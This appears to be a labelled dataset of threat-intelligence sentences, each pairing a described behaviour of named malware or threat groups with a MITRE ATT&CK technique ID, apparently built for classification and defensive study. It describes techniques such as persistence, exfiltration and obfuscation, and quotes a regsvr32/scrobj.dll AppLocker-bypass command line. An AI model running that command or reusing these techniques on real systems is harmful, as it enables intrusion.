APT28 has also used a Kubernetes cluster to conduct distributed, large-scale password spray attacks.
Technique: T1110: Brute Force
APT28 added "junk data" to each encoded string, preventing trivial decoding without knowledge of the junk removal algorithm.
Technique: T1001: Data Obfuscation
Stuxnet extracts and writes driver files that match the times of other legitimate files.
Technique: T1070: Indicator Removal on Host
QakBot has the ability to check running processes.
Technique: T1057: Process Discovery
Chaes has exfiltrated its collected data from the infected machine to the C2, sometimes using the MIME protocol.
Technique: T1048: Exfiltration Over Alternative Protocol
ISMInjector uses the certutil command to decode a payload file.
Technique: T1140: Deobfuscate/Decode Files or Information
Dyre has the ability to identify running services on a compromised host.
Technique: T1007: System Service Discovery
KONNI creates a shortcut called "Anti virus service.lnk" in an apparent attempt to masquerade as a legitimate file.
Technique: T1036: Masquerading
MuddyWater has used file sharing services including OneHub to distribute tools.
Technique: T1583: Acquire Infrastructure
OopsIE creates a scheduled task to run itself every three minutes.
Technique: T1053: Scheduled Task/Job
Transparent Tribe has crafted malicious files to exploit CVE-2012-0158 and CVE-2010-3333 for execution.
Technique: T1203: Exploitation for Client Execution
Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors.
Technique: T1588: Obtain Capabilities
Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.
Technique: T1548: Abuse Elevation Control Mechanism
Kazuar has used internal nodes on the compromised network for C2 communications.
Technique: T1090: Proxy
gh0st RAT uses RC4 and XOR to encrypt C2 traffic.
Technique: T1573: Encrypted Channel
TajMahal has the ability to steal web session cookies from Internet Explorer, Netscape Navigator, FireFox and RealNetworks applications.
Technique: T1539: Steal Web Session Cookie
TSCookie has been executed via malicious links embedded in e-mails spoofing the Ministries of Education, Culture, Sports, Science and Technology of Japan.
Technique: T1204: User Execution
FlawedAmmyy may obfuscate portions of the initial C2 handshake.
Technique: T1001: Data Obfuscation
MoonWind obtains the number of removable drives from the victim.
Technique: T1120: Peripheral Device Discovery
Kinsing was run through a deployed Ubuntu container.
Technique: T1610: Deploy Container
Cherry Picker exfiltrates files over FTP.
Technique: T1048: Exfiltration Over Alternative Protocol
The Regin malware platform supports many standard protocols, including SMB.
Technique: T1071: Application Layer Protocol
Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked.
Technique: T1564: Hide Artifacts
Backdoor.Oldrea contains a cleanup module that removes traces of itself from the victim.
Technique: T1070: Indicator Removal on Host
Dragonfly 2.0 used PowerShell scripts for execution.
Technique: T1059: Command and Scripting Interpreter
A Turla Javascript backdoor added a local_update_check value under the Registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run to establish persistence.
Technique: T1547: Boot or Logon Autostart Execution
Based on comparison of Gazer versions, Turla made an effort to obfuscate strings in the malware that could be used as IoCs, including the mutex name and named pipe.
Technique: T1027: Obfuscated Files or Information
Turla surveys a system upon check-in to discover remote systems on a local network using the net view and net view /DOMAIN commands.
Technique: T1018: Remote System Discovery
APT28 has used several malicious applications that abused OAuth access tokens to gain access to target email accounts, including Gmail and Yahoo Mail.
Technique: T1550: Use Alternate Authentication Material
Carbon enumerates values in the Registry.
Technique: T1012: Query Registry
Magic Hound has deleted and overwrote files to cover tracks.
Technique: T1070: Indicator Removal on Host
Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.
Technique: T1574: Hijack Execution Flow
Emotet has been observed leveraging a module that retrieves passwords stored on a system for the current logged-on user.
Technique: T1552: Unsecured Credentials
Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code.
Technique: T1546: Event Triggered Execution
InvisiMole uses WinRAR to compress data that is intended to be exfiltrated.
Technique: T1560: Archive Collected Data
APT41 has uploaded files and data from a compromised host.
Technique: T1005: Data from Local System
FIN8 has also used WMIC for lateral movement as well as during and post compromise cleanup activities.
Technique: T1047: Windows Management Instrumentation
VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host.
Technique: T1059: Command and Scripting Interpreter
Octopus can collect the username from the victim’s machine.
Technique: T1033: System Owner/User Discovery
Bazar can inject into a target process including Svchost, Explorer, and cmd using process hollowing.
Technique: T1055: Process Injection
OSX/Shlayer can escalate privileges to root by asking the user for credentials.
Technique: T1548: Abuse Elevation Control Mechanism
This may be done by placing an executable in a commonly trusted directory  or giving it the name of a legitimate, trusted program .
Technique: T1036: Masquerading
Wizard Spider has used AdFind.exe to collect information about Active Directory organizational units and trust objects.
Technique: T1482: Domain Trust Discovery
FIN8 executes commands remotely via cmd.exe.
Technique: T1059: Command and Scripting Interpreter
Adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.
Technique: T1098: Account Manipulation
Agent.btz creates a file named thumb.dd on all USB flash drives connected to the victim.
Technique: T1052: Exfiltration Over Physical Medium
(Source: Dell SecureWorks) In SWCs analyzed by CTU researchers, the threat actors added the Dean Edwards packed JavaScript code shown in Figure 9 to the end of a legitimate website's menu page
Technique: T1027: Obfuscated Files or Information
MarkiRAT can look for files carrying specific extensions such as: .rtf, .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pps, .ppsx, .txt, .gpg, .pkr, .kdbx, .key, and .jpb.
Technique: T1083: File and Directory Discovery
TajMahal has the ability to send collected files over its C2.
Technique: T1041: Exfiltration Over C2 Channel
The function then uses the built-in Shell function to run the following command, which effectively executes the .sct file stored in 12-B-366.txt:       regsvr32.exe /s /n /u /i:%TEMP%\12-B-366.txt scrobj.dll     The use of the legitimate regsvr32.exe application to run a .sct file is an AppLocker bypass technique originally discovered by Casey Smith (@subtee), which eventually resulted in a Metasploit module
Technique: T1218: Signed Binary Proxy Execution
TAINTEDSCRIBE has used FakeTLS for session authentication.
Technique: T1001: Data Obfuscation
If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header.
Technique: T1090: Proxy
The file is named netwf.dat
Technique: T1036: Masquerading